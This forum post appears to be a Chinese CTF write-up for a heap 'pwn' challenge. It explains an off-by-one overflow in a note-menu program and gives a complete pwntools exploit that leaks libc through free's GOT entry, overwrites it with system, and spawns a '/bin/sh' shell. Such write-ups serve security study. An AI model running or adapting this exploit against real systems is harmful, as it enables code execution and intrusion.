roger 发表于 2020-4-25 20:25:10

xuenixiang_2020_pwn_pwn5

可以看到是一个64位的程序,开了nx和canary,可以看到是一个典型的堆的菜单题目 有4个功能1. 创建一个块chunk来存储note2. 编辑已经存在的note3. Show出note的内容4. 删除note,free chunk主要漏洞点出在功能2中: 可以看到这里多写入的一个字节,也就造成了off_by_one虽然只能溢出一个字节,但可以改变下一个chunk的size,然后再free,然后再create,再进行操作 主要的利用思路是:
1、 create两个chunk,用chunk0溢出到chunk1 的size位,然后free掉chunk1
2、 申请一个新的chunk2,使得chunk2落在chunk1size的部分,用show功能泄漏出free 的got表的地址,从而得到libc基址从而能得到函数的真实地址
3、再使用一次edit的的功能改free的got表为system的地址,然后使得chunk0 的内容为/bin/sh,接着free(chunk0),也就是执行了system(/bin/sh),从而getshell
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
        p = remote(ip,20004)
else:
        p = process("./heap1")#, aslr=0

elf = ELF("./heap1")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
        p.sendline(s)
def sd(s):
        p.send(s)
def rc(timeout=0):
        if timeout == 0:
                return p.recv()
        else:
                return p.recv(timeout=timeout)
def ru(s, timeout=0):
        if timeout == 0:
                return p.recvuntil(s)
        else:
                return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
        p.interactive()
#-------------------------------------
def create(size,contant):
        ru("input your choice :")
        sl("1")
        ru("input the size of note :")
        sl(str(size))
        ru("Content of note:")
        sd(contant)

def edit(Index,contant):
        ru("input your choice :")
        sl("2")
        ru("input the id of note :")
        sl(str(Index))
        ru("input your note : ")
        sd(contant)

def show(Index):
        ru("input your choice :")
        sl("3")
        ru("input the id of note :")
        sl(str(Index))

def delete(Index):
        ru("input your choice :")
        sl("4")
        ru("input the id of note :")
        sl(str(Index))

free_got = elf.got["free"]
print "free_got------>"+hex(free_got)
create(0x18,"a"*8)
create(0x10,"b"*8)
edit(0,"/bin/sh\x00"+"a"*0x10+p64(0x41))
#debug()
delete(1)

create(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)

ru("Content : ")
free = u64(p.recv(6).ljust(8,"\x00"))
libc_base = free- libc.symbols["free"]
system = libc_base+libc.symbols["system"]
print "free------>"+hex(free)
print "libc_base------>"+hex(libc_base)

edit(1,p64(system))
delete(0)

getshell()

#debug()
页: [1]
查看完整版本: xuenixiang_2020_pwn_pwn5